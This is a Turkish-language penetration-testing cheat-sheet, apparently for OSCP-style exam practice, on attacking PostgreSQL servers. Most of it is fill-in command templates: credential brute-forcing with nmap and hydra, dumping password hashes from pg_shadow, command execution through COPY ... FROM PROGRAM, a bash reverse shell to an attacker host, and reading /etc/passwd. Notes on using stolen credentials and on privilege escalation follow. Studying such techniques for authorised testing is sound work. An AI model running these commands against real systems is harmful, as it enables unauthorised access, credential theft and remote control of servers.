FOOTHOLD Metodoloji Cheat-sheet
5432

PostgreSQL

linux

PostgreSQL: nmap brute, varsayilan postgres kullanicisi, COPY...FROM PROGRAM ile RCE, büyük ayricaliklarla dosya okuma ve sifre hash loot.

┌──

Komutlar

nmap ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=pgsql-brute {{RHOST}}
PostgreSQL surum tespiti ve brute-force NSE scripti. HackTricks — 5432 Pentesting PostgreSQL
psql ✓ EXAM-SAFE
psql -h {{RHOST}} -p {{RPORT}} -U {{USER}} -W
psql istemcisi ile baglanti (parola sorar). HackTricks — 5432 Pentesting PostgreSQL
psql ✓ EXAM-SAFE
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -p {{RPORT}} -U postgres -c '\l'
Varsayilan postgres kullanicisi ile DB listele. HackTricks — 5432 Pentesting PostgreSQL
hydra ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} {{RHOST}} postgres
PostgreSQL kimlik bilgisi brute-force. HackTricks — 5432 Pentesting PostgreSQL
psql ✓ EXAM-SAFE user
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c 'SELECT usename, passwd FROM pg_shadow;'
pg_shadow tablosundan MD5/SCRAM hash dump (superuser gerekli). HackTricks — 5432 Pentesting PostgreSQL
psql ✓ EXAM-SAFE user
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c "CREATE TABLE cmd(out text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;"
COPY ... FROM PROGRAM ile komut calistirma (superuser/pg_execute_server_program). HackTricks — PostgreSQL RCE (COPY FROM PROGRAM)
psql ✓ EXAM-SAFE user
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c "COPY cmd FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1\"';"
COPY FROM PROGRAM ile reverse shell. HackTricks — PostgreSQL RCE
psql ✓ EXAM-SAFE user
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c "CREATE TABLE f(d text); COPY f FROM '/etc/passwd'; SELECT * FROM f;"
Superuser ile yerel dosya okuma. HackTricks — 5432 Pentesting PostgreSQL

Genel Bakis

PostgreSQL OSCP/PG makinelerinde RCE acisindan en degerli DB servislerinden biridir. Superuser veya pg_execute_server_program rolune sahip bir hesapla COPY … FROM PROGRAM uzerinden dogrudan komut calistirilir.

Enumeration

  • nmap pgsql-brute ile surumu ve zayif kredleri tespit et.
  • Baglandiktan sonra \l (DB listesi), \du (roller/privilegeler), SELECT version(); ve SHOW data_directory; calistir.
  • SELECT current_setting('is_superuser'); ile superuser olup olmadigini dogrula.

Kimlik Dogrulama / Varsayilan Kimlik Bilgileri

  • postgres:postgres, postgres bos parola, uygulama config’lerindeki kredler ilk denemeler.
  • Web uygulamasi LFI ile elde edilen .pgpass, database.yml, .env dosyalari kred kaynagidir.
  • 9.x-11 surumlerinde CVE-2019-9193 COPY FROM PROGRAM ozelligi varsayilan acik gelir.

RCE — COPY FROM PROGRAM

  • Once bir tablo olustur, COPY tablo FROM PROGRAM 'komut' ile cikti tabloya yazilir, SELECT ile okunur.
  • Reverse shell icin bash TCP one-liner kullan; cift tirnak kacislarina dikkat. Alternatif olarak Python/nc payload’lari da kullanilabilir.
  • Superuser degilsen pg_read_server_files, pg_write_server_files, pg_execute_server_program rollerini \du ile kontrol et; bunlardan biri yeterli olabilir.

Dosya Okuma/Yazma

  • COPY tablo FROM '/dosya' ile yerel dosya okunur (superuser/pg_read_server_files).
  • COPY tablo TO '/yol' ile dosya yazilir; cron veya authorized_keys’e yazarak privesc denenebilir.

Loot / Pivot Notlari

  • pg_shadow ve pg_authid tablolarindan MD5/SCRAM hash’leri al, hashcat (mode 11100 postgres md5) ile kir.
  • Uygulama tablolarindaki kullanici kredlerini SSH/web icin tekrar kullan.
  • RCE aldiktan sonra cogunlukla postgres OS kullanicisi olursun; oradan SUID/sudo ile privesc’e gec.
┌──

İlgili teknikler

┌──

Kaynaklar

0/15 set